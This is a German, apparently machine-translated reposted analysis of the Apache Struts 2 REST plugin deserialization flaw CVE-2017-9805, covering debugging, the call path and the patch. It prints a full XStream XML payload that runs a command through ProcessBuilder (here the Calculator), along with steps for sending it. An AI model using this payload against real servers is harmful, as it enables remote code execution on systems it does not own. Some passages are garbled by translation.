Heim  >  Artikel  >  Betrieb und Instandhaltung  >  Beispielanalyse der Schwachstelle Struts2-052

Beispielanalyse der Schwachstelle Struts2-052

王林
王林nach vorne
2023-05-13 11:25:061316Durchsuche

Vorwort

Am 5. September 2017 wurde eine schwerwiegende Schwachstelle, die von Sicherheitsforschern der ausländischen Sicherheitsforschungsorganisation lgtm.com entdeckt wurde, offiziell in Apache Struts 2 veröffentlicht. Die Schwachstellennummer lautete CVE-2017-9805 (S2-052). Angreifer Sorgfältig erstellte XML-Daten können zur Remote-Befehlsausführung übergeben werden.
Die XStream-Komponente des Struts2-REST-Plug-Ins weist eine Deserialisierungsschwachstelle auf. Bei Verwendung der XStream-Komponente zur Deserialisierung von Datenpaketen im XML-Format wird der Dateninhalt nicht effektiv überprüft, was ein Sicherheitsrisiko darstellt und durch Remote-Befehle ausgeführt werden kann.
Exploit-Bedingungen: Verwendung des REST-Plugins und innerhalb des betroffenen Versionsbereichs.
Ausnutzung: Der Angreifer erstellt bösartige Datenpakete zur Remote-Ausnutzung.
Betroffene Versionen: Struts 2.1.2 – Struts 2.3.33, Struts 2.5 – Struts 2.5.12

Konstruktion der Debugging-Umgebung

1) Laden Sie den offiziellen Quellcode herunter:
git clone https://github.com/apache/Struts .git
2) Wechseln Sie zum 2.5.12-Zweig:
git checkout STRUTS_2_5_12
3) Kopieren Sie den gesamten Ordner src/apps/rest-showcase im Quellpaket und erstellen Sie ein neues Projekt
4) Verwenden Sie IDEA oder Eclipse, um das zu importieren Maven-Projekt
5 ) Nach der Ausführung im Debug-Modus können Sie problemlos debuggen
Beispielanalyse der Schwachstelle Struts2-052

Analyse des Schwachstellenprinzips

Laut der offiziellen Ankündigung wissen wir, dass die Schwachstelle in der XstreamHandler-Klasse im struts2-rest-plugin-2.5 auftritt .12.jar-Paket.
Schauen Sie sich diese Klasse an. In dieser Klasse gibt es eine toObject-Methode, deren Funktion darin besteht, den XML-Inhalt zu deserialisieren.
Beispielanalyse der Schwachstelle Struts2-052
Legen Sie in dieser Methode zunächst einen Haltepunkt fest und erstellen Sie dann das Datenpaket.
Beispielanalyse der Schwachstelle Struts2-052
Nachdem das Datenpaket gesendet wurde, springt es zum Haltepunkt. Zu diesem Zeitpunkt können Sie sehen, dass der ContentTypeInterceptor im oberen Aufrufstapel aufgerufen wurde Diese Methode
Beispielanalyse der Schwachstelle Struts2-052
Die Intercept-Methode in der ContentTypeInterceptor-Klasse generiert ein entsprechendes Objekt basierend auf dem Wert des übergebenen Content-Type. Da wir application/xml übergeben, wird entsprechend ein XML-Verarbeitungsobjekt XStreamHandler generiert.
Fahren Sie mit f5 fort und sehen Sie sich die Funktion unmarshal an, die die Deserialisierung durchführt, wenn diese Funktion ausgeführt wird, was zur Ausführung eines Remote-Befehls führt.
Beispielanalyse der Schwachstelle Struts2-052
Dann geben Sie die Unmarshal-Funktion ein und fahren mit dem Debuggen fort. Der AbstractReflectionConverter analysiert Schritt für Schritt die von uns übermittelten XML-Tags und -Werte und ruft schließlich den Code im POC auf.
Beispielanalyse der Schwachstelle Struts2-052

Die Sicherheitsanfälligkeit wird auf der Seite http reproduziert ://localhost:8080 Klicken Sie in //struts2-rest-showcase/orders/3/edit auf „Senden“,


fangen Sie die HTTP-Anfrage ab, ändern Sie den Anforderungstext in „POC Payload“ und ändern Sie den Content-Type-Header in „application/xml“. . Beispielanalyse der Schwachstelle Struts2-052Die Nutzlast ist:

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.nativestring> 
      <flags>0</flags>  
      <value> 
        <datahandler> 
          <datasource> 
            <is> 
              <cipher> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceiterator> 
                  <iter> 
                    <iter></iter>  
                    <next> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirecterrorstream>false</redirecterrorstream> 
                    </next> 
                  </iter>  
                  <filter> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types></parameter-types> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceiterator>  
                <lock></lock> 
              </cipher>  
              <input>  
              <ibuffer></ibuffer>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </datasource>  
          <transferflavors></transferflavors> 
        </datahandler>  
        <datalen>0</datalen> 
      </value> 
    </jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry> 
</map>

Nachdem die Anfrage gesendet wurde, wird der Rechner angezeigt


Beispielanalyse der Schwachstelle Struts2-052Patch

Der offizielle Patch enthält hauptsächlich eine Whitelist für die Daten und fügt Sammlung, Karte und einige grundlegende Klassen hinzu Die Zeitklasse wird in die Whitelist aufgenommen, wodurch verhindert werden kann, dass XStream während der Deserialisierung einige schädliche Klassen einbringt. 12 Upgrade auf Struts 2.5.13-Version

Das obige ist der detaillierte Inhalt vonBeispielanalyse der Schwachstelle Struts2-052. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen